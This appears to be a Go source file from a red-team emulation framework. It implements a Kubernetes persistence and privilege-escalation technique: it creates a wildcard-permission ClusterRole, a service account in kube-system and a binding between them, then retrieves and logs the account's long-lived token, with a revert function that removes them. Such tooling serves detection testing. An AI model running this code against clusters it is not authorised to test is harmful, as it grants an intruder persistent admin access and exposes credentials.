/
main.go
145 lines (122 loc) · 5.17 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
package kubernetes
import (
"context"
_ "embed"
"errors"
"github.com/aws/smithy-go/ptr"
"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
corev1 "k8s.io/api/core/v1"
rbacv1 "k8s.io/api/rbac/v1"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
"k8s.io/apimachinery/pkg/util/wait"
"k8s.io/client-go/kubernetes"
"log"
"time"
)
func init() {
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: "k8s.persistence.create-admin-clusterrole",
FriendlyName: "Create Admin ClusterRole",
Platform: stratus.Kubernetes,
IsIdempotent: false,
MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence, mitreattack.PrivilegeEscalation},
Description: `
Creates a Service Account bound to a cluster administrator role.
Warm-up: None
Detonation:
- Create a Cluster Role with administrative permissions
- Create a Service Account (in the ` + namespace + ` namespace)
- Create a Cluster Role Binding
- Retrieve the long-lived service account token, stored by K8s in a secret
`,
Detonate: detonate,
Revert: revert,
})
}
// Namespace to create the service account in
const namespace = "kube-system"
var all = []string{"*"}
var clusterRole = &rbacv1.ClusterRole{
ObjectMeta: metav1.ObjectMeta{Name: "stratus-red-team-clusterrole"},
Rules: []rbacv1.PolicyRule{{Verbs: all, APIGroups: all, Resources: all}},
}
var serviceAccount = &corev1.ServiceAccount{
ObjectMeta: metav1.ObjectMeta{Name: "stratus-red-team-serviceaccount"},
AutomountServiceAccountToken: ptr.Bool(true),
}
var clusterRoleBinding = &rbacv1.ClusterRoleBinding{
ObjectMeta: metav1.ObjectMeta{Name: "stratus-red-team-crb"},
Subjects: []rbacv1.Subject{{Kind: rbacv1.ServiceAccountKind, Name: serviceAccount.Name, Namespace: namespace}},
RoleRef: rbacv1.RoleRef{Kind: "ClusterRole", Name: clusterRole.Name},
}
func detonate(_ map[string]string, providers stratus.CloudProviders) error {
client := providers.K8s().GetClient()
ctx := context.Background()
log.Println("Creating Cluster Role " + clusterRole.ObjectMeta.Name)
_, err := client.RbacV1().ClusterRoles().Create(ctx, clusterRole, metav1.CreateOptions{})
if err != nil {
return errors.New("unable to create ClusterRole: " + err.Error())
}
log.Println("Creating Service Account " + serviceAccount.Name)
_, err = client.CoreV1().ServiceAccounts(namespace).Create(ctx, serviceAccount, metav1.CreateOptions{})
if err != nil {
return errors.New("unable to create ServiceAccount: " + err.Error())
}
log.Println("Creating Cluster Role Binding to map the service account to the cluster role")
_, err = client.RbacV1().ClusterRoleBindings().Create(ctx, clusterRoleBinding, metav1.CreateOptions{})
if err != nil {
return errors.New("unable to create ClusterRoleBinding: " + err.Error())
}
log.Println("Finding secret associated to the newly created service account")
// We need to wait for the ServiceAccount to have been picked up by the Secret Controller
// watching service account creation and provisioning secrets for them
// see https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#token-controller
var secretName string
err = wait.PollImmediate(1*time.Second, 1*time.Minute, func() (done bool, err error) {
name, err := getServiceAccountSecretName(client)
secretName = name
return name != "", err
})
if err != nil {
return errors.New("unable to find the associated secret: " + err.Error())
}
log.Println("Stealing permanent service account token for this service account")
tokenSecret, err := client.CoreV1().Secrets(namespace).Get(ctx, secretName, metav1.GetOptions{})
if err != nil {
return errors.New("unable to retrieve the service account token: " + err.Error())
}
token := string(tokenSecret.Data["token"])
log.Println("Successfully retrieved the service account token: \n\n" + token)
return nil
}
// Returns the name of the K8s secret containing the long-lived service account token
func getServiceAccountSecretName(client *kubernetes.Clientset) (string, error) {
serviceAccount, err := client.CoreV1().ServiceAccounts(namespace).Get(context.Background(), serviceAccount.Name, metav1.GetOptions{})
if err != nil {
return "", err
}
if len(serviceAccount.Secrets) > 0 {
return serviceAccount.Secrets[0].Name, nil
}
return "", nil
}
func revert(_ map[string]string, providers stratus.CloudProviders) error {
client := providers.K8s().GetClient()
roleName := clusterRole.Name
deleteOpts := metav1.DeleteOptions{GracePeriodSeconds: ptr.Int64(0)}
log.Println("Deleting ClusterRole " + roleName)
err := client.RbacV1().ClusterRoles().Delete(context.Background(), roleName, deleteOpts)
if err != nil {
return errors.New("unable to remove ClusterRole " + err.Error())
}
err = client.CoreV1().ServiceAccounts(namespace).Delete(context.Background(), serviceAccount.Name, deleteOpts)
if err != nil {
return errors.New("unable to remove ServiceAccount " + err.Error())
}
err = client.RbacV1().ClusterRoleBindings().Delete(context.Background(), clusterRoleBinding.Name, deleteOpts)
if err != nil {
return errors.New("unable to remove ClusterRoleBinding: " + err.Error())
}
return nil
}